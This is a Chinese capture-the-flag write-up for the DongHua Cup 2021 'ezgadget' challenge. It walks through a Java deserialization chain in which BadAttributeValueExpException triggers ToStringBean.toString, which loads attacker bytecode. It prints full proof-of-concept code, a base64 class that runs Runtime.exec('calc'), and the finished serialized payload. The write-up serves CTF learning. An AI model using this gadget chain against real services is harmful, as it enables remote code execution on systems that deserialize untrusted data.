[东华杯2021] ezgadget
创始人
2024-03-04 12:45:50
0

复现环境配置:

链接:https://pan.baidu.com/s/1t5-fV7SUETDEI5-qbZZQrw 
提取码:8do5

运行

java -jar ezgadget.jar

访问127.0.0.1:8888就可以了

分析:

ToStringBean.java

package com.ezgame.ctf.tools;import java.io.Serializable;public class ToStringBean extends ClassLoader implements Serializable {private byte[] ClassByte;public String toString() {com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);Object Obj = null;try {Obj = clazz.newInstance();} catch (InstantiationException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();}return "enjoy it.";}
}

该类继承了 serializeable 接口和 ClassLoader 接口,说明可以字节码动态加载,并且在toString 方法中,看到了 defineClass . 就可以任意代码执行,这里的ClassByte 可控,那我们就可以执行命令字节码文件,构造一个 字节码类:

构造代码:

public class Payload {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");ToStringBean toStringBean = new ToStringBean();//改属性Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");classByte.setAccessible(true);classByte.set(toStringBean,bytes);}
}

接着看控制器 IndexController.java

package com.ezgame.ctf.controller;import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;@Controller
public class IndexController {@ResponseBody@RequestMapping({"/"})public String index(HttpServletRequest request, HttpServletResponse response) {return "index";}@ResponseBody@RequestMapping({"/readobject"})public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {byte[] b = Tools.base64Decode(data);InputStream inputStream = new ByteArrayInputStream(b);ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);String name = objectInputStream.readUTF();int year = objectInputStream.readInt();if (name.equals("gadgets") && year == 2021)objectInputStream.readObject();return "welcome bro.";}
}

看到 /readobject ,传参data 时,他会用到Tools 中的 base64解密,然后字节数组创建输入流,对象输入流,然后接收一个字符串,接收一个数字,再进行 IF 判断 

if (name.equals("gadgets") && year == 2021)

之后会调用  objectInputStream.readObject();  而这里的,在CC5中 BadAttributeValueExpException  类中重写了readObject(), 可以调用任意类的 toString() 方法

类中需要通过构造方法修改val的值, 在 通过gf.get("val",null ) 传给 valobj ,在最后面调用了readObject 里的valobj.toString();

public BadAttributeValueExpException (Object val) {this.val = val == null ? null : val.toString();}private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {ObjectInputStream.GetField gf = ois.readFields();Object valObj = gf.get("val", null);if (valObj == null) {val = null;} else if (valObj instanceof String) {val= valObj;} else if (System.getSecurityManager() == null|| valObj instanceof Long|| valObj instanceof Integer|| valObj instanceof Float|| valObj instanceof Double|| valObj instanceof Byte|| valObj instanceof Short|| valObj instanceof Boolean) {val = valObj.toString();} else { // the serialized object is from a version without JDK-8019292 fixval = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();}
}

所以我们要构造 val = toStringBean类  这里 不能实例化BadAttributeValueExpException时 ,直接就把val给赋值,直接把把值赋给val否则在readObject()前就会执行toString,反序列化就无效了

//先构造
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("snowyf");
//再改值
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);

之后就是过前面的if 判断。

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);

Tools.java

package com.ezgame.ctf.tools;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;public class Tools {public static byte[] base64Decode(String base64) {Base64.Decoder decoder = Base64.getDecoder();return decoder.decode(base64);}public static String base64Encode(byte[] bytes) {Base64.Encoder encoder = Base64.getEncoder();return encoder.encodeToString(bytes);}public static byte[] serialize(Object obj) throws Exception {ByteArrayOutputStream btout = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(btout);objOut.writeObject(obj);return btout.toByteArray();}public static Object deserialize(byte[] serialized) throws Exception {ByteArrayInputStream btin = new ByteArrayInputStream(serialized);ObjectInputStream objIn = new ObjectInputStream(btin);return objIn.readObject();}
}

最后调用的Tools 中的base64 加密即可

byte[] bytes1 = byteArrayOutputStream.toByteArray();
String s = base64Encode(bytes1);
System.out.println(s);

POC

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;public class Payload {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {//byte[] bytes= Files.readAllBytes(Paths.get("D:\\java\\CTF\\DongHuaBei\\src\\main\\java\\com\\ezgame\\ctf\\Payload.class"));//修改ToStringBean 中 byte 可以加载我们的恶意字节码ToStringBean toStringBean = new ToStringBean();//改属性Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");classByte.setAccessible(true);classByte.set(toStringBean,bytes);//修改val  调用任意toStringBadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("Snowyf");Field val = badAttributeValueExpException.getClass().getDeclaredField("val");val.setAccessible(true);val.set(badAttributeValueExpException,toStringBean);ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeUTF("gadgets");objectOutputStream.writeInt(2021);objectOutputStream.writeObject(badAttributeValueExpException);//加密byte[] bytes1 = byteArrayOutputStream.toByteArray();String s = Tools.base64Encode(bytes1);System.out.println(s);//rO0ABXcNAAdnYWRnZXRzAAAH5XNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAF3QAB1BheWxvYWR0AAxQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AFXhzcgAMVG9TdHJpbmdCZWFu0IEsQu+2UaQCAAFbAAlDbGFzc0J5dGV0AAJbQnhwdXIAAltCrPMX+AYIVOACAAB4cAAAA5nK/rq+AAAANAAhCgAGABMKABQAFQgAFgoAFAAXBwAYBwAZAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWBwAbAQAKU291cmNlRmlsZQEADUV2aWxUZXN0LmphdmEMAA4ADwcAHAwAHQAeAQAEY2FsYwwAHwAgAQAcQ29tbW9uc0NvbGxlY3Rpb25zMy9FdmlsVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAABMACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAFQAEABYADQAXAAsAAAAEAAEAEAABABEAAAACABI=}
}

 

成功弹窗

相关内容

热门资讯

青春期(最新6篇) 青春期 篇一青春期是人生中一个重要的阶段,它标志着从儿童向成年的过渡。在这个时期,我们身心发生了许多...
高中优秀作文(优选6篇) 高中优秀作文 篇一:人生的选择与坚持人生就像一场马拉松比赛,我们每个人都在这条赛道上奋力前行。而在这...
高一作文开学第一课【通用6篇... 高一作文开学第一课 篇一开学第一课,让我明白了“自律”的重要性新学期开始了,我迫不及待地踏入高一的大...
细节决定成败的议论文【精选6... 细节决定成败的议论文 篇一细节决定成败,这是一个被广泛认同的观点。在人们追求成功的道路上,细节往往是...
竹君作文800字左右高二(精... 竹君作文800字左右高二 篇一:探索未知的世界在我们的生活中,有许多未知的领域等待我们去探索。这些未...
山东高考满分作文:丝瓜藤与肉... 山东高考满分作文:丝瓜藤与肉豆须 篇一丝瓜藤与肉豆须丝瓜藤和肉豆须都是我家院子里常见的植物。它们虽然...
冲刺高考的高三励志作文800... 篇一:冲刺高考的高三励志作文800字高三是每个学生都经历的一个重要阶段,也是冲刺高考的关键时期。在这...
上善若水高一作文【精选3篇】 上善若水高一作文 篇一标题:善良的力量善良是一种美德,它如同水一样,温润而宽容,给予人们希望和力量。...
志存高远方能远航高三作文(优... 志存高远方能远航高三作文 篇一在高三这个关键的学习阶段,我们作为学生要有志存高远的目标,才能在未来的...
高中英语作文|Healthy... 高中英语作文|Healthy Diet 健康饮食 篇一Title: The Importance o...
高一剪纸英语作文范文(最新6... 高一剪纸英语作文范文 篇一The Art of Paper Cutting in High Scho...
铁肩担道义【精彩3篇】 铁肩担道义 篇一:守护公平正义的铁肩道义是社会的基石,而铁肩则是守护道义的力量。在现代社会中,铁肩担...
高二学习计划书【精简6篇】 高二学习计划书 篇一标题:制定高效的高二学习计划,实现优异成绩尊敬的老师和家长:我是一名高二学生,为...
传承红色基因征文(精选6篇) 传承红色基因征文 篇一红色基因是中国共产党的宝贵财富,是中国革命胜利的根本保证。这一基因代表着革命精...
议论文【实用6篇】 议论文 篇一:手机对青少年的影响随着科技的不断进步,手机已经成为我们日常生活中不可或缺的一部分。然而...
中华军魂作文(经典6篇) 中华军魂作文 篇一中华军魂:勇猛无畏,保家卫国中华军魂是中华民族的瑰宝,是中华民族不屈不挠、勇猛无畏...
我想说说心里话作文【最新6篇... 我想说说心里话作文 篇一我想说说心里话每个人都有自己的心里话,那些无法对他人倾诉的情感和想法,只能埋...
穹顶之下观后感600字【推荐... 穹顶之下观后感600字 篇一《穹顶之下》是一部由中国导演崔子恩执导的纪录片,该片以火车站为背景,展示...
清华大四学子给学弟学妹的一封... 篇一:清华大四学子给学弟学妹的一封信亲爱的学弟学妹们:首先,我要恭喜你们成功考入了清华大学,这是一个...
高中军训作文【优质6篇】 高中军训作文 篇一高中军训的收获与感悟高中军训是我人生中一段难忘的经历。这是我第一次参加如此严格的体...